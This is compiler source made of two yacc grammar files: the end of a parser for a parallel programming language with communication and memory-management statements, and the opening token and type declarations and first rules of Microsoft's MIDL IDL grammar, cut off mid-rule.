{ $$ = new_ForkallStatement( origsymbolNIL, $2, pragma_listNIL, $3, $4 ); }
;
each:
KEY_EACH origin '{' statementList '}'
{ $$ = new_EachStatement( origsymbolNIL, $2, pragma_listNIL, $4 ); }
;
foreach:
KEY_FOREACH origin cardinalities block
{ $$ = new_ForeachStatement( origsymbolNIL, $2, pragma_listNIL, $3, $4 ); }
;
/* communication */
communication:
receive
{ $$ = $1; } /* not tested. */
|
send
{ $$ = $1; } /* not tested. */
|
blockreceive
{ $$ = $1; } /* not tested. */
|
blocksend
{ $$ = $1; } /* not tested. */
|
barrier
{ $$ = $1; }
;
receive:
KEY_RECEIVE origin '(' expression ',' expression ',' expression ')' statement_terminator
{ $$ = new_ReceiveStatement( origsymbolNIL, $2, pragma_listNIL, $4, $6, $8 ); }
|
KEY_RECEIVE origin '(' error ')' statement_terminator
{ $$ = new_EmptyStatement( origsymbolNIL, $2, pragma_listNIL ); }
;
send:
KEY_SEND origin '(' expression ',' expression ',' expression ')' statement_terminator
{ $$ = new_SendStatement( origsymbolNIL, $2, pragma_listNIL, $4, $6, $8 ); }
|
KEY_SEND origin '(' error ')' statement_terminator
{ $$ = new_EmptyStatement( origsymbolNIL, $2, pragma_listNIL ); }
;
blockreceive:
KEY_BLOCKRECEIVE origin '(' expression ',' expression ',' expression ',' expression ')' statement_terminator
{ $$ = new_BlockReceiveStatement( origsymbolNIL, $2, pragma_listNIL, $4, $6, $8, $10 ); }
|
KEY_BLOCKRECEIVE origin '(' error ')' statement_terminator
{ $$ = new_EmptyStatement( origsymbolNIL, $2, pragma_listNIL ); }
;
blocksend:
KEY_BLOCKSEND origin '(' expression ',' expression ',' expression ',' expression ')' statement_terminator
{ $$ = new_BlockSendStatement( origsymbolNIL, $2, pragma_listNIL, $4, $6, $8, $10 ); }
|
KEY_BLOCKSEND origin '(' error ')' statement_terminator
{ $$ = new_EmptyStatement( origsymbolNIL, $2, pragma_listNIL ); }
;
barrier:
KEY_BARRIER origin statement_terminator
{ $$ = new_BarrierStatement( origsymbolNIL, $2, pragma_listNIL ); }
;
cardinalities:
'[' cardinalitylist opt_comma ']'
{ $$ = $2; }
|
'[' error ']'
{ $$ = new_cardinality_list(); }
;
/* Memory management */
memoryManagement:
delete
{ $$ = $1; }
|
garbageCollect
{ $$ = $1; }
;
delete:
KEY_DELETE origin expression statement_terminator
{ $$ = new_DeleteStatement( origsymbolNIL, $2, pragma_listNIL, $3 ); }
;
garbageCollect:
KEY_GARBAGECOLLECT origin statement_terminator
{ $$ = new_GarbageCollectStatement( origsymbolNIL, $2, pragma_listNIL ); }
;
cardinalitylist:
/* empty */
{ $$ = new_cardinality_list(); }
|
cardinality
{ $$ = append_cardinality_list( new_cardinality_list(), $1 ); }
|
cardinalitylist ',' cardinality
{ $$ = append_cardinality_list( $1, $3 ); }
|
error ',' cardinality
{ $$ = append_cardinality_list( new_cardinality_list(), $3 ); }
;
cardinality:
orig_identifier ':' expression
{ $$ = new_cardinality( $1, new_pragma_list(), $3 ); }
|
'(' cardinality ')'
{ $$ = $2; }
|
error ')'
{ $$ = cardinalityNIL; }
;
selectors:
'[' selectorlist ']'
{ $$ = $2; }
|
'[' error ']'
{ $$ = new_expression_list(); }
;
selectorlist:
/* empty */
{ $$ = new_expression_list(); }
|
selector
{ $$ = append_expression_list( new_expression_list(), $1 ); }
|
selectorlist ',' selector
{ $$ = append_expression_list( $1, $3 ); }
|
error ',' selector
{ $$ = append_expression_list( new_expression_list(), $3 ); }
;
selector:
expression
{ $$ = $1; }
;
expressions:
'(' expressionList ')'
{ $$ = $2; }
|
'(' error ')'
{ $$ = new_expression_list(); }
;
expressionList:
/* empty */
{ $$ = new_expression_list(); }
|
expression
{ $$ = append_expression_list( new_expression_list(), $1 ); }
|
expressionList ',' expression
{ $$ = append_expression_list( $1, $3 ); }
|
error ',' expression
{ $$ = append_expression_list( new_expression_list(), $3 ); }
;
expression:
KEY_NULL
{ $$ = new_ExprNull(); }
|
KEY_TRUE
{ $$ = new_ExprBoolean( TRUE ); }
|
KEY_FALSE
{ $$ = new_ExprBoolean( FALSE ); }
|
BYTE_LITERAL
{ $$ = new_ExprByte( $1 ); }
|
SHORT_LITERAL
{ $$ = new_ExprShort( $1 ); }
|
INT_LITERAL
{ $$ = new_ExprInt( $1 ); }
|
LONG_LITERAL
{ $$ = new_ExprLong( $1 ); }
|
FLOAT_LITERAL
{ $$ = new_ExprFloat( $1 ); }
|
DOUBLE_LITERAL
{ $$ = new_ExprDouble( $1 ); }
|
STRING_LITERAL
{ $$ = new_ExprString( $1 ); }
|
CHAR_LITERAL
{ $$ = new_ExprChar( $1 ); }
|
orig_identifier
{ $$ = new_ExprName( $1 ); }
|
'(' type ')' expression %prec OP_UNOP
{ $$ = new_ExprCast( $2, $4 ); }
|
'[' expressionList ']'
{ $$ = new_ExprRecord( $2 ); }
|
expression selectors
{ $$ = new_ExprSelection( $1, $2 ); }
|
KEY_VIEW cardinalities expression %prec OP_UNOP
{ $$ = new_ExprView( new_view( $2, $3 ) ); }
|
expression expressions
{ $$ = new_ExprFunctionCall( $1, $2 ); }
|
expression '.' orig_identifier
{ $$ = new_ExprField( $1, $3 ); }
|
KEY_COMPLEX '(' expression ',' expression ')'
{ $$ = new_ExprComplex( $3, $5 ); }
|
KEY_COMPLEX '(' error ',' expression ')'
{ $$ = new_ExprComplex( expressionNIL, $5 ); }
|
KEY_COMPLEX '(' expression ',' error ')'
{ $$ = new_ExprComplex( $3, expressionNIL ); }
|
'(' pragmaExpression ')'
{ $$ = $2; }
|
OP_TIMES expression %prec OP_UNOP
{ $$ = new_ExprDeref( $2 ); }
|
'&' expression %prec OP_UNOP
{ $$ = new_ExprAddress( $2 ); }
|
unary_operator expression %prec OP_UNOP
{ $$ = new_ExprUnop( $1, $2 ); }
|
expression '?' expression ':' expression
{ $$ = new_ExprIf( $1, $3, $5 ); }
|
expression KEY_AND expression
{ $$ = new_ExprBinop( $1, BINOP_AND, $3 ); }
|
expression KEY_OR expression
{ $$ = new_ExprBinop( $1, BINOP_OR, $3 ); }
|
expression KEY_MOD expression
{ $$ = new_ExprBinop( $1, BINOP_MOD, $3 ); }
|
expression OP_PLUS expression
{ $$ = new_ExprBinop( $1, BINOP_PLUS, $3 ); }
|
expression OP_MINUS expression
{ $$ = new_ExprBinop( $1, BINOP_MINUS, $3 ); }
|
expression OP_TIMES expression
{ $$ = new_ExprBinop( $1, BINOP_TIMES, $3 ); }
|
expression OP_DIVIDE expression
{ $$ = new_ExprBinop( $1, BINOP_DIVIDE, $3 ); }
|
expression OP_EQUAL expression
{ $$ = new_ExprBinop( $1, BINOP_EQUAL, $3 ); }
|
expression OP_NOTEQUAL expression
{ $$ = new_ExprBinop( $1, BINOP_NOTEQUAL, $3 ); }
|
expression OP_LESS expression
{ $$ = new_ExprBinop( $1, BINOP_LESS, $3 ); }
|
expression OP_LESSEQUAL expression
{ $$ = new_ExprBinop( $1, BINOP_LESSEQUAL, $3 ); }
|
expression OP_GREATER expression
{ $$ = new_ExprBinop( $1, BINOP_GREATER, $3 ); }
|
expression OP_GREATEREQUAL expression
{ $$ = new_ExprBinop( $1, BINOP_GREATEREQUAL, $3 ); }
|
expression KEY_XOR expression
{ $$ = new_ExprBinop( $1, BINOP_XOR, $3 ); }
|
expression OP_SHIFTLEFT expression
{ $$ = new_ExprBinop( $1, BINOP_SHIFTLEFT, $3 ); }
|
expression OP_SHIFTRIGHT expression
{ $$ = new_ExprBinop( $1, BINOP_SHIFTRIGHT, $3 ); }
|
expression OP_USHIFTRIGHT expression
{ $$ = new_ExprBinop( $1, BINOP_USHIFTRIGHT, $3 ); }
|
KEY_NEW '(' type ')' %prec OP_UNOP
{ $$ = new_ExprNew( $3 ); }
|
KEY_GETBLOCKSIZE '(' expression ',' expression ')'
{ $$ = new_ExprGetBlocksize( $3, $5 ); }
|
KEY_GETBLOCKSIZE error ')'
{ $$ = new_ExprGetBlocksize( expressionNIL, expressionNIL ); }
|
KEY_GETSIZE '(' expression ',' expression ')'
{ $$ = new_ExprGetSize( $3, $5 ); }
|
KEY_GETSIZE error ')'
{ $$ = new_ExprGetSize( expressionNIL, expressionNIL ); }
|
KEY_GETROOM '(' expression ')'
{ $$ = new_ExprGetRoom( $3 ); }
|
KEY_GETROOM error ')'
{ $$ = new_ExprGetRoom( expressionNIL ); }
|
KEY_SENDER '(' expression ')'
{ $$ = new_ExprSender( $3 ); }
|
KEY_SENDER error ')'
{ $$ = new_ExprSender( expressionNIL ); }
|
KEY_OWNER '(' expression ')'
{ $$ = new_ExprOwner( $3 ); }
|
KEY_OWNER error ')'
{ $$ = new_ExprOwner( expressionNIL ); }
|
KEY_ISOWNER '(' expression ',' expression ')'
{ $$ = new_ExprIsOwner( $3, $5 ); }
|
KEY_ISOWNER error ')'
{ $$ = new_ExprIsOwner( expressionNIL, expressionNIL ); }
|
KEY_ISMULTIDIM '(' expression ')'
{ $$ = new_ExprIsMultidimDist( $3 ); }
|
KEY_ISMULTIDIM error ')'
{ $$ = new_ExprIsMultidimDist( expressionNIL ); }
;
pragmaExpression:
expression
{ $$ = $1; }
|
pragmas pragmaExpression %prec OP_UNOP
{ $$ = new_ExprPragma( $1, $2 ); }
;
unary_operator:
KEY_NOT
{ $$ = UNOP_NOT; }
|
OP_PLUS
{ $$ = UNOP_PLUS; }
|
OP_MINUS
{ $$ = UNOP_NEGATE; }
;
orig_identifier:
IDENTIFIER
{ $$ = make_origsymbol( $1 ); }
;
%%
/* A simple wrapper function to give a nicer interface to the parser.
* Given the file handle of the input file 'infile', the name of the
* input file 'infilename', and the file handle of the output file
* 'outfile', parse that input file, and write the generated code
* to the output.
*/
vnusprog parse( FILE *infile, tmstring infilename )
{
setlexfile( infile, infilename );
goterr = FALSE;
if( yyparse() != 0 ){
error( "cannot recover from earlier parse errors, goodbye" );
}
return result;
}
|
/*****************************************************************************/
/** Microsoft LAN Manager **/
/** Copyright(c) Microsoft Corp., 1987-1999 **/
/*****************************************************************************/
/*****************************************************************************
File : grammar.y
Title : the midl grammar file
:
Description: contains the syntactic and semantic handling of the
: idl file
History :
08-Aug-1991 VibhasC Create
15-Sep-1993 GregJen Rewrite for MIDL 2.0
*****************************************************************************/
%{
/****************************************************************************
*** local defines
***************************************************************************/
#define pascal
#define FARDATA
#define NEARDATA
#define FARCODE
#define NEARCODE
#define NEARSWAP
#define YYFARDATA
#define PASCAL pascal
#define CDECL
#define VOID void
#define CONST const
#define GLOBAL
#define YYSTYPE lextype_t
#define YYNEAR NEARCODE
#define YYPASCAL PASCAL
#define YYPRINT printf
#define YYSTATIC static
#define YYCONST static const
#define YYLEX yylex
#define YYPARSER yyparse
#ifdef gajdebug3
#define YYDEBUG
#endif
#define IS_CUR_INTERFACE_LOCAL() ( \
(BOOL) (pInterfaceInfoDict->IsInterfaceLocal()) )
// enable compilation under /W4
#pragma warning ( disable : 4514 4710 4244 4127 4505 4706 )
/****************************************************************************
*** include files
***************************************************************************/
#include "nulldefs.h"
#include <basetsd.h>
extern "C" {
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
int yyparse();
}
#include "allnodes.hxx"
#include "lexutils.hxx"
#include "gramutil.hxx"
#include "idict.hxx"
#include "filehndl.hxx"
#include "cmdana.hxx"
#include "control.hxx"
#include "tlgen.hxx"
#include "mbcs.hxx"
extern "C" {
#include "lex.h"
extern char * KeywordToString( token_t );
}
/***************************************************************************
* local data
**************************************************************************/
BOOL fBaseImported = FALSE;
BOOL fOdlBaseImported = FALSE;
BOOL fLibrary = FALSE;
/***************************************************************************
* external data
**************************************************************************/
extern CMD_ARG * pCommand;
extern node_error * pErrorTypeNode;
extern node_e_attr * pErrorAttrNode;
extern SymTable * pBaseSymTbl;
extern SymTable * pCurSymTbl;
extern nsa * pSymTblMgr;
extern short ImportLevel;
extern BOOL fTypeGraphInited;
extern BOOL fPragmaImportOn;
extern CCONTROL * pCompiler;
extern node_source * pSourceNode;
extern NFA_INFO * pImportCntrl;
extern PASS_1 * pPass1;
extern IINFODICT * pInterfaceInfoDict;
extern unsigned short LexContext;
extern BOOL fRedundantImport;
extern node_skl * pBaseImplicitHandle;
extern unsigned short CurrentZp;
extern node_pragma_pack * pPackStack;
/***************************************************************************
* external functions
**************************************************************************/
extern void yyunlex( token_t );
extern BOOL IsTempName( char * );
extern char * GenTempName();
extern char * GenIntfName();
extern char * GenCompName();
extern void CopyNode( node_skl *, node_skl * );
extern STATUS_T GetBaseTypeNode( node_skl **, short, short, short, short);
extern ATTRLIST GenerateFieldAttribute( ATTR_T, expr_list *);
extern node_skl * SearchTag( char *, NAME_T );
extern void SyntaxError( STATUS_T, short );
extern short PossibleMissingToken( short, short );
extern char * MakeNewStringWithProperQuoting( char * );
extern void CheckGlobalNamesClash( SymKey );
extern void CheckSpecialForwardTypedef( node_skl *, node_skl *, type_node_list *);
extern void PushZpStack( node_pragma_pack * & PackStack,
unsigned short & CurrentZp );
extern void PopZpStack( node_pragma_pack * & PackStack,
unsigned short & CurrentZp );
/***************************************************************************
* local data
**************************************************************************/
/***************************************************************************
* local defines
**************************************************************************/
#define YY_CATCH(x)
#define DEFINE_STRING "#define"
#define LEN_DEFINE (7)
%}
/****************************************************************************/
%start RpcProg
%token KWINTERFACE
%token KWIMPORT
%token KWIMPORTODLBASE
%token KWCPPQUOTE
%token KWCPRAGMA
%token KWCPRAGMAPACK
%token KWMPRAGMAIMPORT
%token KWMPRAGMAECHO
%token KWMPRAGMAIMPORTCLNTAUX
%token KWMPRAGMAIMPORTSRVRAUX
%token KWMIDLPRAGMA
%token TYPENAME
%token LIBNAME
%token KWVOID
%token KWUNSIGNED
%token KWSIGNED
%token KWFLOAT
%token KWDOUBLE
%token KWINT
%token KWBYTE
%token KWCHAR
%token KWSMALL
%token KWLONG
%token KWSHORT
%token KWHYPER
%token KWINT32
%token KWINT3264
%token KWINT64
%token KWINT128
%token KWFLOAT80
%token KWFLOAT128
%token KWSTRUCT
%token KWUNION
%token KWENUM
%token KWSHORTENUM
%token KWLONGENUM
%token KWCONST
%token KWVOLATILE
%token KW_C_INLINE
%token KWTYPEDEF
%token KWDECLGUID
%token KWEXTERN
%token KWSTATIC
%token KWAUTO
%token KWREGISTER
%token KWERRORSTATUST
%token KWBOOLEAN
%token KWISOLATIN1
%token KWPRIVATECHAR8
%token KWISOMULTILINGUAL
%token KWPRIVATECHAR16
%token KWISOUCS
%token KWPIPE
%token KWSWITCH
%token KWCASE
%token KWDEFAULT
%token KWUUID
%token KWASYNCUUID
%token KWVERSION
%token KWSTRING
%token KWBSTRING
%token KWIN
%token KWOUT
%token KWPARTIALIGNORE
%token KWIIDIS
%token KWFIRSTIS
%token KWLASTIS
%token KWMAXIS
%token KWMINIS
%token KWLENGTHIS
%token KWSIZEIS
%token KWRANGE
/* start of ODL key words */
%token KWID
%token KWHC /* helpcontext attribute */
%token KWHSC /* helpstring context attribute */
%token KWLCID
%token KWDLLNAME
%token KWHELPSTR
%token KWHELPFILE
%token KWHELPSTRINGDLL
%token KWENTRY
%token KWPROPGET
%token KWPROPPUT
%token KWPROPPUTREF
%token KWOPTIONAL
%token KWVARARG
%token KWAPPOBJECT
%token KWRESTRICTED
%token KWPUBLIC
%token KWREADONLY
%token KWODL
%token KWSOURCE
%token KWBINDABLE
%token KWREQUESTEDIT
%token KWDISPLAYBIND
%token KWDEFAULTBIND
%token KWLICENSED
%token KWPREDECLID
%token KWHIDDEN
%token KWRETVAL
%token KWCONTROL
%token KWDUAL
%token KWPROXY
%token KWNONEXTENSIBLE
%token KWNONCREATABLE
%token KWOLEAUTOMATION
%token KWLIBRARY
%token KWMODULE
%token KWDISPINTERFACE
%token KWCOCLASS
%token KWMETHODS
%token KWPROPERTIES
%token KWIMPORTLIB
%token KWFUNCDESCATTR
%token KWIDLDESCATTR
%token KWTYPEDESCATTR
%token KWVARDESCATTR
%token KWSAFEARRAY
%token KWAGGREGATABLE
%token KWUIDEFAULT
%token KWNONBROWSABLE
%token KWDEFAULTCOLLELEM
%token KWDEFAULTVALUE
%token KWCUSTOM
%token KWDEFAULTVTABLE
%token KWIMMEDIATEBIND
%token KWUSESGETLASTERROR
%token KWREPLACEABLE
/* end of ODL key words */
%token KWHANDLET /* Formerly RPCHNDL */
%token KWHANDLE /* Formerly GEN_HNDL */
%token KWCONTEXTHANDLE /* Aka LRPC_CTXT_HNDL */
%token KWMSUNION
%token KWMS_CONF_STRUCT
%token KWENDPOINT
%token KWDEFAULTPOINTER
%token KWLOCAL
%token KWSWITCHTYPE
%token KWSWITCHIS
%token KWTRANSMITAS
%token KWWIREMARSHAL
%token KWIGNORE
%token KWREF
%token KWUNIQUE
%token KWPTR
%token KWV1ARRAY
%token KWV1STRUCT
%token KWV1ENUM
%token KWV1STRING
%token KWIDEMPOTENT
%token KWBROADCAST
%token KWMAYBE
%token KWASYNC
%token KWINPUTSYNC
%token KWCALLBACK
%token KWALIGN
%token KWUNALIGNED
%token KWOPTIMIZE
%token KWMESSAGE
%token STRING
%token WIDECHARACTERSTRING
%token FLOATCONSTANT
%token DOUBLECONSTANT
%token KWTOKENNULL
%token NUMERICCONSTANT
%token NUMERICUCONSTANT
%token NUMERICLONGCONSTANT
%token NUMERICULONGCONSTANT
%token HEXCONSTANT
%token HEXUCONSTANT
%token HEXLONGCONSTANT
%token HEXULONGCONSTANT
%token OCTALCONSTANT
%token OCTALUCONSTANT
%token OCTALLONGCONSTANT
%token OCTALULONGCONSTANT
%token CHARACTERCONSTANT
%token WIDECHARACTERCONSTANT
%token IDENTIFIER
%token KWSIZEOF
%token KWALIGNOF
%token TOKENTRUE
%token TOKENFALSE
/* These are Microsoft C abominations */
%token KWMSCDECLSPEC
%token MSCEXPORT
%token MSCFORTRAN
%token MSCCDECL
%token MSCSTDCALL
%token MSCLOADDS
%token MSCSAVEREGS
%token MSCFASTCALL
%token MSCSEGMENT
%token MSCINTERRUPT
%token MSCSELF
%token MSCNEAR
%token MSCFAR
%token MSCUNALIGNED
%token MSCHUGE
%token MSCPTR32
%token MSCPTR64
%token MSCPASCAL
%token MSCEMIT
%token MSCASM
%token MSCW64
/* Microsoft proposed extentions to NIDL */
%token KWNOCODE /* Allowed in .IDL in addition to .ACF */
/* These are residual C tokens I'm not sure we should even allow */
%token POINTSTO
%token INCOP
%token DECOP
%token MULASSIGN
%token DIVASSIGN
%token MODASSIGN
%token ADDASSIGN
%token SUBASSIGN
%token LEFTASSIGN
%token RIGHTASSIGN
%token ANDASSIGN
%token XORASSIGN
%token ORASSIGN
%token DOTDOT
%token LTEQ
%token GTEQ
%token NOTEQ
%token LSHIFT
%token RSHIFT
%token ANDAND
%token EQUALS
%token OROR
/* used by lex internally to signify "get another token" */
%token NOTOKEN
/* garbage token - should cause parse errors */
%token GARBAGETOKEN
/* OLE extensions */
%token KWOBJECT
/* Note that we're assuming that we get constants back and can check
bounds (e.g. "are we integer") in the semantic actions.
*/
/*
ACF - Specific Tokens
*/
%token KWSHAPE
%token KWBYTECOUNT
%token KWIMPLICITHANDLE
%token KWAUTOHANDLE
%token KWEXPLICITHANDLE
%token KWREPRESENTAS
%token KWCALLAS
%token KWCODE
%token KWINLINE
%token KWOUTOFLINE
%token KWINTERPRET
%token KWNOINTERPRET
%token KWCOMMSTATUS
%token KWFAULTSTATUS
%token KWHEAP
%token KWINCLUDE
%token KWPOINTERSIZE
%token KWOFFLINE
%token KWALLOCATE
%token KWENABLEALLOCATE
%token KWMANUAL
%token KWNOTIFY
%token KWNOTIFYFLAG
%token KWUSERMARSHAL
%token KWENCODE
%token KWDECODE
%token KWSTRICTCONTEXTHANDLE
%token KWNOSERIALIZE
%token KWSERIALIZE
%token KWCSCHAR
%token KWCSDRTAG
%token KWCSRTAG
%token KWCSSTAG
%token KWCSTAGRTN
%token KWFORCEALLOCATE
/* Currently Unsupported Tokens */
%token KWBITSET
%token UUIDTOKEN
%token VERSIONTOKEN
%token EOI
%token LASTTOKEN
/* moved to ACF... */
/*****************************************************************************
* %types of various non terminals and terminals
*****************************************************************************/
%type <yy_attr> AcfCallType
%type <yy_graph> AcfImpHdlTypeSpec
%type <yy_attr> AcfInterfaceAttribute
%type <yy_expr> AdditiveExpr
%type <yy_operator> AddOp
%type <yy_expr> AndExpr
%type <yy_expr> ArgExprList
%type <yy_abounds> ArrayBoundsPair
%type <yy_declarator> ArrayDecl
%type <yy_abounds> ArrayDecl2
%type <yy_expr> AssignmentExpr
%type <yy_attrlist> Attributes
%type <yy_attrlist> AttributesWithDefault
%type <yy_attrlist> AttrList
%type <yy_attrlist> AttrListWithDefault
%type <yy_attrlist> AttrSet
%type <yy_attrlist> AttrSetWithDefault
%type <yy_expr> AttrVar
%type <yy_exprlist> AttrVarList
%type <yy_tnlist> BaseInterfaceList
%type <yy_type> BaseTypeSpec
%type <yy_graph> BitSetType
%type <yy_expr> CastExpr
%type <yy_numeric> CHARACTERCONSTANT
%type <yy_type> CharSpecs
%type <yy_siblist> CoclassMember
%type <yy_siblist> CoclassMemberList
%type <yy_string> CoclassName
%type <yy_expr> ConditionalExpr
%type <yy_expr> ConstantExpr
%type <yy_exprlist> ConstantExprs
%type <yy_exprlist> MessageNumberList
%type <yy_graph> CPragmaSet
%type <yy_siblist> Declaration
%type <yy_modifiers> DeclarationAccessories
%type <yy_declspec> DeclarationSpecifiers
%type <yy_declarator> Declarator
%type <yy_declarator> Declarator2
%type <yy_siblist> DispatchInterfaceBody
%type <yy_disphead> DispatchInterfaceHeader
%type <yy_string> DispatchInterfaceName
%type <yy_numeric> DOUBLECONSTANT
%type <yy_declarator> TypedefDeclarator
%type <yy_declarator_set> TypedefDeclaratorList
%type <yy_declarator_set> TypedefDeclaratorListElement
%type <yy_siblist> DefaultCase
%type <yy_attr> DirectionalAttribute
%type <yy_string> EndPtSpec
%type <yy_attr> EndPtSpecs
%type <yy_declspec> EnumerationType
%type <yy_enlab> Enumerator
%type <yy_enlist> EnumeratorList
%type <yy_declspec> EnumSpecifier
%type <yy_expr> EqualityExpr
%type <yy_expr> ExclusiveOrExpr
%type <yy_expr> Expr
%type <yy_attrlist> FieldAttribute
%type <yy_expr> FAdditiveExpr
%type <yy_numeric> FLOATCONSTANT
%type <yy_expr> FConstantExpr
%type <yy_expr> FMultExpr
%type <yy_expr> FUnaryOp
%type <yy_modifiers> FuncModifier
%type <yy_attr> Guid
%type <yy_attr> AsyncGuid
%type <yy_numeric> HEXCONSTANT
%type <yy_numeric> HEXLONGCONSTANT
%type <yy_numeric> HEXUCONSTANT
%type <yy_numeric> HEXULONGCONSTANT
%type <yy_pSymName> IDENTIFIER
%type <yy_siblist> Import
%type <yy_siblist> ImportName
%type <yy_siblist> ImportList
%type <yy_expr> InclusiveOrExpr
%type <yy_declarator> InitDeclarator
%type <yy_declarator_set> InitDeclaratorList
%type <yy_short> InternationalCharacterType
%type <yy_type> IntModifiers
%type <yy_short> IntSize
%type <yy_type> IntSpec
%type <yy_type> IntSpecs
%type <yy_expr> Initializer
%type <yy_initlist> InitializerList
%type <yy_siblist> InputFile
%type <yy_attr> InterfaceAttribute
%type <yy_intbody> InterfaceBody
%type <yy_siblist> InterfaceComp
%type <yy_siblist> InterfaceComponent
%type <yy_siblist> InterfaceComponents
%type <yy_inthead> InterfaceHeader
%type <yy_intbody> InterfaceList
%type <yy_string> InterfaceName
%type <yy_string> KWCPRAGMA
%type <yy_intbody> LibraryBody
%type <yy_libhead> LibraryHeader
%type <yy_intbody> LibraryInterfaceList
%type <yy_string> LibraryName
%type <yy_expr> LogicalAndExpr
%type <yy_expr> LogicalOrExpr
%type <yy_siblist> MemberDeclaration
%type <yy_declarator> MemberDeclarator
%type <yy_declarator_set> MemberDeclaratorList
%type <yy_siblist> MethodDeclaration
%type <yy_siblist> MethodList
%type <yy_graph> MidlPragmaSet
%type <yy_modifiers> Modifier
%type <yy_modifiers> ModifierList
%type <yy_siblist> ModuleBody
%type <yy_modulehead> ModuleHeader
%type <yy_string> ModuleName
%type <yy_modifiers> KWMSCDECLSPEC
%type <yy_modifiers> MscDeclSpec
%type <yy_modifiers> MscOptDeclSpecList
%type <yy_operator> MultOp
%type <yy_siblist> MultipleImport
%type <yy_expr> MultExpr
%type <yy_siblist> NidlMemberDeclaration
%type <yy_siblist> NidlUnionBody
%type <yy_nucases> NidlUnionCase
%type <yy_nucaselabel> NidlUnionCaseLabel
%type <yy_nucllist> NidlUnionCaseLabelList
%type <yy_nucases> NidlUnionCases
%type <yy_en_switch> NidlUnionSwitch
%type <yy_numeric> NUMERICCONSTANT
%type <yy_numeric> NUMERICLONGCONSTANT
%type <yy_numeric> NUMERICUCONSTANT
%type <yy_numeric> NUMERICULONGCONSTANT
%type <yy_numeric> OCTALCONSTANT
%type <yy_numeric> OCTALUCONSTANT
%type <yy_numeric> OCTALLONGCONSTANT
%type <yy_numeric> OCTALULONGCONSTANT
%type <yy_attr> OdlAttribute
%type <yy_attrlist> OneAttribute
%type <yy_attrlist> OneAttributeWithDefault
%type <yy_intbody> OneInterface
%type <yy_attr> OperationAttribute
%type <yy_attrlist> OptionalAttrList
%type <yy_attrlist> OptionalAttrListWithDefault
%type <yy_graph> OptionalBaseIF
%type <yy_short> OptionalComma
%type <yy_modifiers> OptionalConst
%type <yy_declarator> OptionalDeclarator
%type <yy_declarator_set> OptionalInitDeclaratorList
%type <yy_siblist> OptionalMethodList
%type <yy_modifiers> OptionalModifierList
%type <yy_modifiers> OptionalPostfixPtrModifier
%type <yy_siblist> OptionalModuleBody
%type <yy_siblist> OptionalPropertyList
%type <yy_string> OptionalTag
%type <yy_short> OptPackIndex
%type <yy_attrenum> OptShape
%type <yy_short> PackIndex
%type <yy_graph> ParameterDeclaration
%type <yy_siblist> ParameterList
%type <yy_siblist> ParameterTypeList
%type <yy_siblist> ParamsDecl2
%type <yy_siblist> PhantomInputFile
/*
%type <yy_inthead> PipeInterfaceHeader
*/
%type <yy_declarator> Pointer
%type <yy_expr> PostfixExpr
%type <yy_graph> PredefinedTypeSpec
%type <yy_expr> PrimaryExpr
%type <yy_siblist> PropertyList
%type <yy_attr> PtrAttr
%type <yy_modifiers> PtrModifier
%type <yy_short> PushOrPop
%type <yy_expr> RelationalExpr
%type <yy_expr> ShiftExpr
%type <yy_type> SignSpecs
%type <yy_graph> SimpleTypeSpec
%type <yy_tokentype> SizeofOrAlignof
%type <yy_modifiers> StorageClassSpecifier
%type <yy_string> STRING
%type <yy_siblist> StructDeclarationList
%type <yy_en_switch> SwitchSpec
%type <yy_graph> SwitchTypeSpec
%type <yy_string> Tag
%type <yy_declspec> TaggedSpec
%type <yy_declspec> TaggedStructSpec
%type <yy_declspec> TaggedUnionSpec
%type <yy_attr> TypeAttribute
%type <yy_declspec> TypeDeclarationSpecifiers
%type <yy_graph> TYPENAME
%type <yy_graph> TypeName
%type <yy_pSymName> LIBNAME
%type <yy_modifiers> TypeQualifier
%type <yy_declspec> TypeSpecifier
%type <yy_expr> UnaryExpr
%type <yy_expr> UnaryOp
%type <yy_attr> UnimplementedTypeAttribute
%type <yy_siblist> UnionBody
%type <yy_siblist> UnionCase
%type <yy_attr> UnionCaseLabel
%type <yy_siblist> UnionCases
%type <yy_pSymName> UnionName
%type <yy_string> UUIDTOKEN
%type <yy_expr> VariableExpr
%type <yy_string> VERSIONTOKEN
%type <yy_numeric> WIDECHARACTERCONSTANT
%type <yy_string> WIDECHARACTERSTRING
/****************************************************************************/
%%
RpcProg:
ForceBaseIdl InputFile
{
node_source * pSource = new node_source;
pSource->SetMembers( $2 );
pSourceNode = pSource;
/**
** If there were errors detected in the 1st pass, the dont do
** anything.
**/
if( !pCompiler->GetErrorCount() )
{
/**
** If we found no errors, the first compiler phase is over
**/
return;
}
else
{
// if the errors prevented a resolution pass and semantics
// to be performed, then issue a message. For that purpose
// look at the node state of the source node. If it indicates
// presence of a forward decl, then we must issue the error
ParseError( ERRORS_PASS1_NO_PASS2, (char *)0 );
}
/**
** If we reached here, there were errors detected, and we dont
** want to invoke the subsequent passes, Just quit.
**/
pSourceNode = (node_source *)NULL;
returnflag = 1;
return;
}
;
InputFile:
InterfaceList EOI
{
// create file node, add imports
node_file * pFile;
named_node * pN;
char * pInputFileName;
/**
** pick up the details of the file, because we need to set the
** file nodes name with this file
**/
pImportCntrl->GetInputDetails( &pInputFileName );
pFile = new node_file( pInputFileName, ImportLevel );
/**
** Attach the interface nodes as a member of the file node.
** Also, point the interface nodes to their parent file node.
**/
pFile->SetMembers( $1.Members );
MEM_ITER MemIter(pFile);
while ( pN = MemIter.GetNext() )
{
pN->SetFileNode( pFile );
}
/**
** we may have collected the more file nodes as part of the reduction
** process. If so, then attach this node to the list. If not then
** generate a new list and attach the file node there
**/
if( $1.Imports )
$$ = $1.Imports;
else
$$.Init();
$$.SetPeer( pFile );
}
;
InterfaceList:
InterfaceList OneInterface
{
if( !pCommand->IsSwitchDefined( SWITCH_MS_EXT ) )
{
ParseError( MULTIPLE_INTF_NON_OSF, NULL );
}
// if we have dangling definitions, add them to the intf
if ( $2.Members.Tail() &&
( !$2.Members.Tail()->IsInterfaceOrObject() ) )
{
node_interface * pIntf =
pInterfaceInfoDict->GetInterfaceNode();
$$ = $1;
$$.Imports.Merge( $2.Imports );
pIntf->MergeMembersToTail( $2.Members );
if ( $1.Members.Tail() != pIntf )
$$.Members.Add( pIntf );
}
else
{
// merge interface list and imports list
$$ = $1;
$$.Imports.Merge( $2.Imports );
$$.Members.Merge( $2.Members );
}
}
| OneInterface
{
if ( $1.Members.Tail() &&
( !$1.Members.Tail()->IsInterfaceOrObject() ) )
{
node_interface * pIntf =
pInterfaceInfoDict->GetInterfaceNode();
// gets siblist of declarations
